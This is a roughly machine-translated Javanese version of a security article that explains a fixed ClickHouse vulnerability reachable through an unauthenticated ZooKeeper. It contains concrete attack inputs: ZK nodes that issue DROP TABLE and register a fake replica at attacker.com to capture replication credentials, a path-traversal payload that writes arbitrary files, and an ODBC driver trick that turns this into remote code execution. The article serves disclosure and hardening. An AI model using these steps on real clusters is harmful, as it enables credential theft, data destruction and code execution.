Napa sampeyan kudu nutup kandhang kebon binatang?

Napa sampeyan kudu nutup kandhang kebon binatang?

Artikel iki bakal nyritakake babagan kerentanan sing spesifik banget ing protokol replikasi ClickHouse, lan uga bakal nuduhake carane permukaan serangan bisa ditambahi.

ClickHouse minangka basis data kanggo nyimpen volume data sing akeh, paling kerep nggunakake luwih saka siji replika. Clustering lan replikasi ing ClickHouse dibangun ing ndhuwur Apache ZooKeeper (ZK) lan mbutuhake hak nulis.

Instalasi ZK standar ora mbutuhake otentikasi, mula ewu server ZK sing digunakake kanggo ngatur Kafka, Hadoop, ClickHouse kasedhiya kanggo umum.

Kanggo nyuda lumahing serangan, sampeyan kudu tansah ngatur otentikasi lan wewenang nalika nginstal ZooKeeper

Mesthine ana sawetara deseralisasi Java adhedhasar 0 dina, nanging mbayangno manawa panyerang bisa maca lan nulis menyang ZooKeeper, digunakake kanggo replikasi ClickHouse.

Nalika dikonfigurasi ing mode kluster, ClickHouse ndhukung pitakon sing disebarake DDL, ngliwati ZK - kanggo wong-wong mau simpul digawe ing sheet /clickhouse/task_queue/ddl.

Contone, sampeyan nggawe simpul /clickhouse/task_queue/ddl/query-0001 kanthi isi:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

lan sawise iku, tabel test bakal dibusak ing server kluster host1 lan host2. DDL uga ndhukung pitakon nggawe CREATE / ALTER / DROP.

Swara medeni? Nanging ing ngendi panyerang bisa entuk alamat server?

Replikasi ClickHouse dianggo ing tingkat tabel individu, supaya nalika meja digawe ing ZK, server kasebut sing bakal tanggung jawab kanggo ijol-ijolan metadata karo replika. Contone, nalika nglakokake panjalukan (ZK kudu dikonfigurasi, chXX - jeneng replika, foobar - jeneng tabel):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

simpul bakal digawe kolom ΠΈ Metadata.

Konten /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Apa bisa nggabungake data saka kluster iki? Ya, yen port replikasi (TCP/9009) ing server chXX-address firewall ora bakal ditutup lan bukti asli kanggo rΓ©plikasi ora bakal diatur. Kepiye cara ngliwati otentikasi?

Penyerang bisa nggawe replika anyar ing ZK kanthi mung nyalin isi saka /clickhouse/tables/01-01/foobar/replicas/chXX lan ngowahi teges host.

Konten /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Banjur sampeyan kudu ngandhani replika liyane yen ana blok data anyar ing server penyerang sing kudu dijupuk - simpul digawe ing ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (Kontra pertumbuhan monoton XX, sing kudu luwih gedhe tinimbang sing pungkasan ing log acara):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ngendi sumber_replika - jeneng replika penyerang sing digawe ing langkah sadurunge, blok_id - pengenal blok data, njaluk - printah "entuk blok" (lan kene printah kanggo operasi liyane).

Sabanjure, saben replika maca acara anyar ing log lan menyang server sing dikontrol dening panyerang kanggo nampa blok data (protokol replikasi binar, mlaku ing ndhuwur HTTP). Server attacker.com bakal nampa panjalukan:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ngendi XXX minangka data otentikasi kanggo replikasi. Ing sawetara kasus, iki bisa dadi akun kanthi akses menyang database liwat protokol ClickHouse utama lan protokol HTTP. Nalika sampeyan wis weruh, lumahing serangan dadi kritis gedhe amarga ZooKeeper, digunakake kanggo replikasi, kiwa tanpa otentikasi diatur.

Ayo kang katon ing fungsi njupuk pemblokiran data saka tiron, iku ditulis karo kapercayan lengkap sing kabeh tiron ing kontrol sing tepat lan ana kapercayan antarane wong-wong mau.

Napa sampeyan kudu nutup kandhang kebon binatang?
kode pangolahan replikasi

Fungsi kasebut maca dhaptar file, banjur jeneng, ukuran, isi, lan banjur nulis menyang sistem file. Iku worth kapisah njlèntrèhaké carane data disimpen ing sistem file.

Ana sawetara subdirektori ing /var/lib/clickhouse (direktori panyimpenan standar saka file konfigurasi):

bendera - direktori kanggo ngrekam gendΓ©ra, digunakake ing Recovery sawise mundhut data;
tmp - direktori kanggo nyimpen file sauntara;
user_files - operasi karo file ing panjalukan diwatesi ing direktori iki (INTO OUTFILE lan liya-liyane);
Metadata - file sql kanthi katrangan tabel;
preprocessed_configs - file konfigurasi turunan diproses saka /etc/clickhouse-server;
data - direktori nyata karo data dhewe, ing kasus iki kanggo saben database subdirektori kapisah mung digawe kene (contone /var/lib/clickhouse/data/default).

Kanggo saben tabel, subdirektori digawe ing direktori database. Saben kolom minangka file sing kapisah gumantung saka format engine. Contone kanggo meja foobardigawe dening penyerang, file ing ngisor iki bakal digawe:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika kasebut ngarepake nampa file kanthi jeneng sing padha nalika ngolah blok data lan ora validasi kanthi cara apa wae.

Pembaca sing ati-ati bisa uga wis krungu babagan gabungan file_name sing ora aman ing sawijining fungsi WriteBufferFromFile. Ya, iki ngidini panyerang nulis konten sing sewenang-wenang menyang file apa wae ing FS kanthi hak pangguna clickhouse. Kanggo nindakake iki, replika sing dikontrol dening panyerang kudu ngasilake respon ing ngisor iki kanggo panjaluk kasebut (jeda baris wis ditambahake supaya gampang dingerteni):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

lan sawise concatenation ../../../../../../../../../tmp/pwned file bakal ditulis /tmp/pwned karo isi hellofromzookeeper.

Ana sawetara opsi kanggo ngowahi kemampuan nulis file menyang eksekusi kode remot (RCE).

Kamus eksternal ing RCE

Ing versi lawas, direktori karo setelan ClickHouse disimpen kanthi hak pangguna clickhouse gawan. File setelan minangka file XML sing diwaca layanan nalika wiwitan lan banjur disimpen ing cache /var/lib/clickhouse/preprocessed_configs. Nalika owah-owahan kedadeyan, dheweke diwaca maneh. Yen sampeyan duwe akses menyang /etc/clickhouse-server penyerang bisa nggawe dhewe kamus njaba jinis eksekusi banjur eksekusi kode arbitrer. Versi ClickHouse saiki ora nyedhiyakake hak kanthi standar, nanging yen server dianyari mboko sithik, hak kasebut bisa tetep. Yen sampeyan ndhukung kluster ClickHouse, priksa hak direktori setelan, kudu dadi pangguna root.

ODBC kanggo RCE

Nalika nginstal paket, pangguna digawe clickhouse, nanging direktori ngarep ora digawe /nonexistent. Nanging, nalika nggunakake kamus eksternal, utawa kanggo alasan liyane, administrator nggawe direktori /nonexistent lan menehi pangguna clickhouse akses kanggo nulis menyang (SSZB! kira-kira. penerjemah).

ClickHouse ndhukung ODBC lan bisa nyambung menyang database liyane. Ing ODBC, sampeyan bisa nemtokake path kanggo perpustakaan driver database (.dadi). Versi lawas saka ClickHouse ngidini sampeyan nindakake iki langsung ing panjaluk panjaluk, nanging saiki priksa senar sambungan sing luwih ketat wis ditambahake. odbc-bridge, dadi ora bisa maneh nemtokake dalan driver saka panjalukan. Nanging apa panyerang bisa nulis menyang direktori ngarep nggunakake kerentanan kasebut ing ndhuwur?

Ayo nggawe file ~/.odbc.ini kanthi isi kaya iki:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

banjur ing wiwitan SELECT * FROM odbc('DSN=lalala', 'test', 'test'); perpustakaan bakal dimuat test.so lan nampa RCE (matur nuwun buglloc kanggo tip).

Iki lan kerentanan liyane wis didandani ing ClickHouse versi 19.14.3. Jaga ClickHouse lan ZooKeepers!

Source: www.habr.com

Add a comment